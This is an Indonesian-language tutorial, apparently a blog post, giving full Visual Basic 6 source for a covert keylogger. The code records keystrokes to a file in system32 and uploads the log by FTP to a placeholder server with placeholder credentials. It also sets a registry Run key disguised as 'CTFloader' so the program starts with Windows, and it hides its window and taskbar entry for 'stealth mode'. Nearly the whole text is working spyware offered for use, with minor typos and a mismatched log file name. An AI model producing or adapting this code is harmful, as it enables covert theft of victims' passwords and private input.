Membuat Keyloger Menggunkana VB 6.0 Versi Kedua

di tutor kali ini saya akan memberikan pencerahan tentang cara membuat KEYLOGGER di VisualBasic 6
Keylogger merupakan sebuah perangkat baik perangkat keras atau perangkat lunak yang digunakan untuk memantau penekanan tombol keyboard. Sebuah keylogger biasanya akan menyimpan hasil pemantauan penekanan tombol keyboard tersebut ke dalam sebuah berkas log/catatan/rekaman. Beberapa keylogger tertentu bahkan dapat mengirimkan hasil rekamannya ke e-mail tertentu secara periodik.[dari Wikipedia Indonesia]
langsung ja…
1. jalankan VB dan pilih Standard EXE
2. buat 6 buah timer dan satu buah textbox[beri nama textbox dengan "mated" tanpa tanda petik]
3. tekan CTRL + T untuk membuka Components window
4. centang opsi Microsoft Internet Transfer Control 6.0
5. tambahkan module ke program dengan klik menu Projects > Add Module dan ketik kode berikut:
Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Declare Function SystemParamsLong Lib “user32″ Alias “SystemParametersInfoA” (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Long, ByVal fuWinIni As Long) As Long
Const SPI_GETKEYBOARDSPEED = 10

6. kode untuk:
timer1:
‘ fungsi ini digunakan untuk mencatat aktifitas penekanan tombol keyboard
Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyA) Then
mated = mated + “a”
ElseIf GetAsyncKeyState(vbKeyB) Then
mated = mated + “b”
ElseIf GetAsyncKeyState(vbKeyC) Then
mated = mated + “c”
ElseIf GetAsyncKeyState(vbKeyD) Then
mated = mated + “d”
ElseIf GetAsyncKeyState(vbKeyE) Then
mated = mated + “e”
ElseIf GetAsyncKeyState(vbKeyF) Then
mated = mated + “f”
ElseIf GetAsyncKeyState(vbKeyG) Then
mated = mated + “g”
ElseIf GetAsyncKeyState(vbKeyH) Then
mated = mated + “h”
ElseIf GetAsyncKeyState(vbKeyI) Then
mated = mated + “i”
ElseIf GetAsyncKeyState(vbKeyJ) Then
mated = mated + “j”
ElseIf GetAsyncKeyState(vbKeyK) Then
mated = mated + “k”
ElseIf GetAsyncKeyState(vbKeyL) Then
mated = mated + “l”
ElseIf GetAsyncKeyState(vbKeyM) Then
mated = mated + “m”
ElseIf GetAsyncKeyState(vbKeyN) Then
mated = mated + “n”
ElseIf GetAsyncKeyState(vbKeyO) Then
mated = mated + “o”
ElseIf GetAsyncKeyState(vbKeyP) Then
mated = mated + “p”
ElseIf GetAsyncKeyState(vbKeyQ) Then
mated = mated + “q”
ElseIf GetAsyncKeyState(vbKeyR) Then
mated = mated + “r”
ElseIf GetAsyncKeyState(vbKeyS) Then
mated = mated + “s”
ElseIf GetAsyncKeyState(vbKeyT) Then
mated = mated + “t”
ElseIf GetAsyncKeyState(vbKeyU) Then
mated = mated + “u”
ElseIf GetAsyncKeyState(vbKeyV) Then
mated = mated + “v”
ElseIf GetAsyncKeyState(vbKeyW) Then
mated = mated + “w”
ElseIf GetAsyncKeyState(vbKeyX) Then
mated = mated + “x”
ElseIf GetAsyncKeyState(vbKeyY) Then
mated = mated + “y”
ElseIf GetAsyncKeyState(vbKeyZ) Then
mated = mated + “z”
ElseIf GetAsyncKeyState(vbKey0) Then
mated = mated + “0″
ElseIf GetAsyncKeyState(vbKey1) Then
mated = mated + “1″
ElseIf GetAsyncKeyState(vbKey2) Then
mated = mated + “2″
ElseIf GetAsyncKeyState(vbKey3) Then
mated = mated + “3″
ElseIf GetAsyncKeyState(vbKey4) Then
mated = mated + “4″
ElseIf GetAsyncKeyState(vbKey5) Then
mated = mated + “5″
ElseIf GetAsyncKeyState(vbKey6) Then
mated = mated + “6″
ElseIf GetAsyncKeyState(vbKey7) Then
mated = mated + “7″
ElseIf GetAsyncKeyState(vbKey8) Then
mated = mated + “8″
ElseIf GetAsyncKeyState(vbKey9) Then
mated = mated + “9″
ElseIf GetAsyncKeyState(vbKeyEscape) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeySpace) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyBack) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyDelete) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyDown) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyShift) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyTab) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyUp) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyRight) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyLeft) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyPageUp) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyPageDown) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyF1) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyF2) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyF3) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyF4) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyF5) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyF6) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyF7) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyF8) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyF9) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyF10) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyF11) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyF12) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeF13) Then
mated = mated + “”
ElseIf GetAsyncKeyState(vbKeyEnd) Then
mated = mated + “”
End If
End Sub
timer2:
Private Sub Timer2_Timer()
Timer3.Enabled = True
Timer2.Enabled = False
End Sub
timer3:
Private Sub Timer3_Timer()
Timer4.Enabled = True
Timer3.Enabled = False
End Sub
timer4:
Private Sub Timer4_Timer()
Timer5.Enabled = True
Timer4.Enabled = False
End Sub

timer5:
Private Sub Timer5_Timer()
Timer6.Enabled = True
Timer5.Enabled = False
End Sub
timer6:
Private Sub Timer6_Timer()
Dim file As String
Dim ftpwebsite As String
account = “Akun_web_mu”
pswd = “Pass_web_mu”
ftpwebsite = “ftp://alamat_web_mu.com”
Inet1.URL = ftpwebsite
Inet1.UserName = account
Inet1.Password = pswd
file = “log.txt”
Inet1.Execute Inet1.URL, “PUT C:\WINDOWS\system32\keylog.txt ” & file
Do While Inet1.StillExecuting = True
DoEvents
Loop
Timer6.Enabled = False
Timer2.Enabled = True
End Sub
Form:
Private Sub Form_Load()
‘ fungsi ini untuk membuat keylogg aktif saat windows dinyalakan
Set reg = CreateObject(”Wscript.shell”)
reg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\CTFloader”, App.Path & “\nama_keylogger.exe”
Dim reani As Long
Dim mated As String
SystemParamsLong SPI_GETKEYBOARDSPEED, 0, reani, 0
Timer1.Interval = reani + 150
End Sub
Private Sub mated_Change()
Open “C:\WINDOWS\system32\keylogger.txt” For Output As #1
Print #1, “Data KeyLogg – Reanimated Zone: ” & mated.Text & “, ”
Close #1
End Sub
Oh ya, hampir lupa, pada properties formnya ganti properties Show In Taskbar menjadi false agar Keylogg tidak terlihat di taskbar
dan peroperties Visible menjadi false agar aplikasi tidak memperlihatkan formnya[mode stealth]
that’s sh*t, eh.. sory, thats it!
Wassalam….